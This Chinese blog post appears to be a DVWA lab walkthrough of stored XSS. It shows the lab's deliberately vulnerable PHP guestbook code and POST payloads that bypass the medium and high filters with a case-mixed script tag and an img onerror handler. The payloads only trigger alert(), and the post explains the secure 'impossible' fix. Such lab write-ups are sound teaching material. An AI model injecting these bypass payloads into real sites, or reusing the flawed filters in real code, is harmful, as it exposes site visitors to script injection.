XSS Stored 漏洞分析与测试


dvwa存储型XSS

存储型XSS:会把用户输入的数据“存储”在服务器端,一般出现在需要用户可以输入数据的地方,比如网站的留言板、评论等地方,当网站这些地方过滤不严格的时候,就会被黑客注入恶意攻击代码,存储在服务器端,每当用户加载该页面时,都会受到攻击,所以这种攻击行为也称为“持久型XSS(Persistent XSS)”。

漏洞测试

low级别

img

在Name和Message输入框中分别输入一个String(admin)发现输入的数据会显示在当前页面中,同时可以知道数据提交是以POST请求的方式

查看源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

代码审计发现,并不存在Protect,trim()函数、stripslashes()函数、mysqli_real_escape_string()函数等不会对JS代码进行过滤

trim(string,charlist) 函数移除字符串两侧的空白字符或其他预定义字符。

    string    必需。规定要检查的字符串。

    charlist  可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:    

        "\0" - NULL
        "\t" - 制表符
        "\n" - 换行
        "\x0B" - 垂直制表符
        "\r" - 回车
        " " - 空格

########################################################################################

stripslashes(string) 函数删除由 addslashes() 函数添加的反斜杠。

    string    必需。规定要检查的字符串。

    提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。

########################################################################################

addslashes(string) 函数返回在预定义字符之前添加反斜杠的字符串。

    预定义字符是:

        单引号(')
        双引号(")
        反斜杠(\)
        NULL
    string    必需。规定要转义的字符串。

    提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

########################################################################################

mysql_real_escape_string(string,connection) 函数转义 SQL 语句中使用的字符串中的特殊字符。

    下列字符受影响:

        \x00
        \n
        \r
        \
        '
        "
        \x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

    string    必需。规定要转义的字符串。
    connection    可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

    提示:可使用本函数来预防数据库攻击。

构造payload,执行最简单的XSS攻击

POST data
txtName=admin&mtxMessage=<script>alert("_XSS_")</script>&btnSign=Sign+Guestbook

恶意代码被存入服务端,每当用户打开该网页都会受到攻击

服务端数据库文件已存入攻击者的恶意代码

img

进入该网页,触发恶意攻击

img

medium 级别

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

经过代码审计,可以发现medium级别进行了Protect,对POST请求到的的内容进行过滤:

str_replace()函数 对 Name data进行<script>标签匹配置空

strip_tags()函数 对 message data进行标签匹配删除

str_replace(find,replace,string,count) 函数以其他字符替换字符串中的一些字符(区分大小写)。

该函数必须遵循下列规则:

如果搜索的字符串是数组,那么它将返回数组。
如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。
注释:该函数区分大小写。请使用 str_ireplace() 函数执行不区分大小写的搜索。

参数    描述
find    必需。规定要查找的值。
replace    必需。规定替换 find 中的值的值。
string    必需。规定被搜索的字符串。
count    可选。对替换数进行计数的变量。

###########################################################################################

strip_tags(string,allow) 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

参数    描述
string    必需。规定要检查的字符串。
allow    可选。规定允许的标签。这些标签不会被删除。

分析可知要想利用XSS攻击,只有对Name data进行注入,利用<script>标签大小写进行绕过,但你会发现Name data length=10 受到限制

img

篡改数据,绕过length限制

img

构造payload

POST Name data
txtName=%3CScript%3Ealert%281111%29%3C%2FscriPt%3E&mtxMessage=admin&btnSign=Sign+Guestbook

Name data的绕过

img

服务端数据库文件已存入攻击者的恶意代码

img

在这里也可以使用<img>标签进行绕过:<img src=# onerror=alert("_XSS_")>

high 级别

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

代码审计之后,发现high级别的Name data存在另外一种的Protect,利用preg_replace()函数进行匹配“< s r i p t”等字符,将其置为空,此时Name data里面的<script>标签是不能使用的,不管是大小进行区分写都不可以进行绕过

所以,就需要利用其它标签进行XSS攻击,此处可以利用 medium 级别 中提到的<img>标签进行绕过preg_replace()函数的Protect

构造payload

POST Name data
txtName=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E&mtxMessage=Hello+admin&btnSign=Sign+Guestbook

<img>标签成功绕过preg_replace()

img

服务端数据库文件已存入攻击者的恶意代码

img

impossible 级别

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

impossible 级别的Protect不能被绕过,由于Name data和Message data都受到htmlspecialchars()函数的保护作用

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)
    其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:

可用的引号类型:

ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认是只编码双引号的

因为输入的所有标签都被转义,所以此处不存在XSS攻击,但是要注意flags属性,使用不当过滤XSS时就会被绕过。


Author: Qftm
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Qftm !
 Previous
XSS DOM 漏洞分析与测试 XSS DOM 漏洞分析与测试
dvwa DOM XSSDOM Based XSS:是基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM节点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行,从效果上来说也是反射型XS
2018-11-04
Next 
XSS Reflected 漏洞分析与测试 XSS Reflected 漏洞分析与测试
前言由于最近在做XSS方面的测试,于是找到了DVWA平台进行实验测试,通过这三篇文章让大家了解XSS方面的大概内容,这三篇文章只是把你领进XSS的大门,要想真正深入的学习XSS,你还需要去学习很多东西来提升自己。网站测试分为黑盒测试和白盒测
2018-11-04
  TOC